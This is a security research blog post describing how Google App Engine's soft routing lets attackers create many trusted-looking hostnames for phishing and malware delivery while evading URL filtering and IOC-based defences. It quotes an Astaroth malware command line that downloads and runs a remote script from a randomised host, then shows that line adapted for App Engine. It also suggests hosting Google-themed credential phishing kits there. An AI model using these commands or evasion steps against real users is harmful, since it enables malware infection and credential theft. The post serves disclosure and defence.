Attackers are abusing Google’s App Engine to circumvent Enterprise Security Solutions…Again!

How to generate large number of URL hostnames on Google’s server for phishing and malware purposes…with ease.

It is no secret that Threat Actors are always trying to abuse legitimate services to do their malicious activities. There has been numerous reports about phishing campaign that used and for hosting the phishing baits and attack elements. They are lucrative platforms because normal users tend to place trust in websites that are hosted by top-tier vendors like Microsoft and Google. Reports as early as last month highlighted such activities.

But the (old) attack vectors described above are not the most efficient and do not last long. For each project you have on Google App Engine, you get one URL to serve that project and there is a limited number of project you can have per account. Thus, the attackers are left with limited number of URL hostnames to serve their attack which can be burned out and blocked by major reputation services fairly fast.

So how do you solve this? Easily, just ask Google.

Illustrative photo of a tired Google App engineer

Step 1: Deploy your malicious App

Deploying an App Engine project hosting a dynamic or static website to serve web pages or files is pretty straight forward process. Here I used the following guid to deploy my malicious app.

Once your app is running in App Engine, you will have the following URL format to send HTTP requests to the app or visit from browser:

where PROJECT_ID is the ID of the Google Cloud project that contains the app. Our malicious app is now hosted at:

Step 2 : URLs for services and versions

According to Google’s resource page on How Requests are Routed:

If you create more than one service in your app, each service has its own URL. Each version of a service also has its own URL, so you can deploy and test a new version before configuring that version to receive traffic.

The URLs for specific services and versions are then in the following form:

Requests are received by any version that is configured for traffic in the targeted service. If the service that you are targeting does not exist, the request gets Soft Routed.

You may ask “What is Soft Routed”?

If a request matches the portion of the hostname, but includes a service, version, or instance name that does not exist, then the request is routed to the default service, which is essentially your default hostname of the app.

What this means is that there is almost unlimited number of URL hostnames as part of your App as long the PROJECT_ID portion of URL matches your project name. For example, the followings are valid URLs/hostnames which would serve the content I have behind the app:

Potentially this can produce an extremely large number of URL hostnames that can serve malicious content which traditional Anti-bot or blocking tools will fail to catch since they can not differentiate between PROJECT_ID and VERSION. Not only that, the URLs would have all the bells and whistles of a trusted website.

Got the idea? Excellent!

Step 3 : Bypass Security Solutions

But wait, it gets better. Apps running on appspot would get default WebPulse categorization of being Office/Business application, no matter what the URL looks like. So even if an organization being targeted has content filtering or other proxy tools, our little malicious app would not be blocked.

Wolf in sheep’s clothing

Given the fact that Google App Engine can also host the file, our little app can now serve a malware from large number of the hostnames/URLs which is being trusted by all:

So relateable!

A Case Scenario:

It was only last year that I wrote about similar issue with Cloudflare Workers being abused in similar way. If you need a refresher, here is the link:

Let me show you how to essentially apply the same attack and server my payload from Google’s App Engine infrastructure. The second stage of Astaroth malware used the following script to run on the victim's machine:

%ComSpec% /c “echo GetObject(“script:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/”)” > %temp%\Lqncxmm:vbvvjjh.js && start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”

While it’s less commonly known or used but “%ComSpec%” is a pre-assigned environment variable that, by default, stores the “cmd.exe” absolute path and dates back to the stone ages.
Next, we have the GetObject VBA function with a link to WScript file to download and run from the temp folder. But pay attention to the URL again, there is “%RANDOM%” command in the URL. “%RANDOM%” is a built-in variable in Windows CMD shell that generates a random integer from 0 to 32,767. Since the URL has echo wrapped around it, the random variable is successfully replaced with valid numbers and passed to CMD to execute the GetObject command. This way every time the script is executed, a different URL address/Hostname is used to download the final payload. To make this work from our little malicious app, we just need to change a single line:

%ComSpec% /c “echo GetObject(“script:”)” >
%temp%\Lqncxmm:vbvvjjh.js && start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”

And now you have a script that downloads the payload from different URL hostnames each time is run and would render the network IOC of such hypothetical sample absolutely useless. The solutions that rely on single run on a sandbox to obtain automated IOC would therefore get a new Network IOC and potentially new file IOC if script is modified just a bit.

Just for demo!

In this scenario, I am just reusing an old malware and attack vector. But there are a lot of opportunity to get creative with this and use different scripting languages for initial stages with multiple Appspot apps serving both files and file-less malwares on different stages of attack. As I mentioned before, our little app could be modified to serve slightly modified file which has new hashes on each request and essentially render traditional IOCs that so many organization still rely on useless.

Final Comments:

At this time, I am not aware of any Threat Actors using Google’s Appspot engine in this way as part of a malware campaign or attack. My hope is this article will bring the core issue to the attention of App Engine engineering team in order to fix the possibilities of abuse fundamentally (as opposed to just reporting the malicious projects to their abuse team).

There is always potential for abuse when large and trusted cloud hosting and engine vendors roll out features without having proper review of such features by security professionals who are knowledgeable about this domain and have seen a thing or two on how legitimate features can be used for malicious purposes.


It looks like some phishing actors have already started using this technique while hosting phishing kits on Google’s App Engine. What ozuma5119 / Yusuke Osumi is tweeting about and it’s subsequent Pastebin dump is just one Google App Engine project hosting the phish kit and the automated phishing emails that were sent out just had random characters prefixed to the hostnames.

Use a Google Drive/Service phishing kit on Google’s App Engine and normal user would not just realize it is not Google which is asking for credentials. 😅



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Marcel Afrahim

Publishing Independent Cyber Security & Malware Analysis research on Medium.